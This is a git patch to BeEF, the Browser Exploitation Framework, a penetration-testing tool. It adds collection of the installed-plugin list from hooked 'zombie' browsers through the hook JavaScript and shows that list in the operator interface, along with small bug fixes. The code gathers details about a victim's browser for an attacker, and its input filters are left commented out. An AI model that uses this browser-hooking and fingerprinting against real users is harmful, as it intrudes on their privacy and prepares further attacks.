From f9e3ec56c77737e423c43b74d0fc6765e8badbc7 Mon Sep 17 00:00:00 2001 From: "mosse.benjamin" Date: Fri, 19 Nov 2010 02:29:54 +0000 Subject: [PATCH] fix bug and adding feature to retrieve browser plugins during the init.js git-svn-id: https://beef.googlecode.com/svn/trunk@546 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- lib/server/inithandler.rb | 9 +++++++++ lib/ui/modules/modules.rb | 23 +++++++++++++++++++---- modules/beefjs/browser.js | 1 + 3 files changed, 29 insertions(+), 4 deletions(-) diff --git a/lib/server/inithandler.rb b/lib/server/inithandler.rb index b42874c7a..4f23035d2 100644 --- a/lib/server/inithandler.rb +++ b/lib/server/inithandler.rb @@ -55,6 +55,15 @@ module BeEF raise WEBrick::HTTPStatus::BadRequest, "Invalid host name" if not Filter.is_valid_hostname?(host_name) BD.set(session_id, 'HostName', host_name) + # get and store the browser plugins + browser_plugins = get_param(request.query, 'BrowserPlugins') + if not browser_plugins.nil? + #TODO: add filters + #raise WEBrick::HTTPStatus::BadRequest, "Invalid browser plugins: has non printable chars" if not Filter.has_non_printable_char?(browser_plugins) + #raise WEBrick::HTTPStatus::BadRequest, "Invalid browser plugins: has null chars" if not Filter.has_null?(browser_plugins) + BD.set(session_id, 'BrowserPlugins', browser_plugins) + end + # get and store the internal ip address internal_ip = get_param(request.query, 'InternalIP') if not internal_ip.nil? diff --git a/lib/ui/modules/modules.rb b/lib/ui/modules/modules.rb index d1c8b35d1..178ea6e44 100644 --- a/lib/ui/modules/modules.rb +++ b/lib/ui/modules/modules.rb @@ -93,9 +93,24 @@ class Modules < BeEF::HttpController summary_grid_hash['results'].push(browser_version_row) # add the row - # set and add teh internal ip address + # set and add the list of plugins installed in the browser + browser_plugins = BD.get(zombie_session, 'BrowserPlugins') + if not browser_plugins.nil? and not browser_plugins.empty? + encoded_browser_plugins = CGI.escapeHTML(browser_plugins) + encoded_browser_plugins_hash = { 'Browser Plugins' => encoded_browser_plugins } + + page_name_row = { + 'category' => 'Browser Hook Initialisation', + 'data' => encoded_browser_plugins_hash, + 'from' => 'Initialisation' + } + + summary_grid_hash['results'].push(page_name_row) # add the row + end + + # set and add the internal ip address internal_ip = BD.get(zombie_session, 'InternalIP') - if internal_ip + if not internal_ip.nil? encoded_internal_ip = CGI.escapeHTML(internal_ip) encoded_internal_ip_hash = { 'Internal IP' => encoded_internal_ip } @@ -108,9 +123,9 @@ class Modules < BeEF::HttpController summary_grid_hash['results'].push(page_name_row) # add the row end - # set and add teh internal hostname + # set and add the internal hostname internal_hostname = BD.get(zombie_session, 'InternalHostname') - if internal_ip + if not internal_hostname.nil? encoded_internal_hostname = CGI.escapeHTML(internal_hostname) encoded_internal_hostname_hash = { 'Internal Hostname' => encoded_internal_hostname } diff --git a/modules/beefjs/browser.js b/modules/beefjs/browser.js index b518fb52c..707210d49 100644 --- a/modules/beefjs/browser.js +++ b/modules/beefjs/browser.js @@ -327,6 +327,7 @@ beef.browser = { details["BrowserReportedName"] = beef.browser.getBrowserReportedName(); details["PageTitle"] = document.title; details["HostName"] = document.location.hostname; + details["BrowserPlugins"] = beef.browser.getPlugins(); return details; },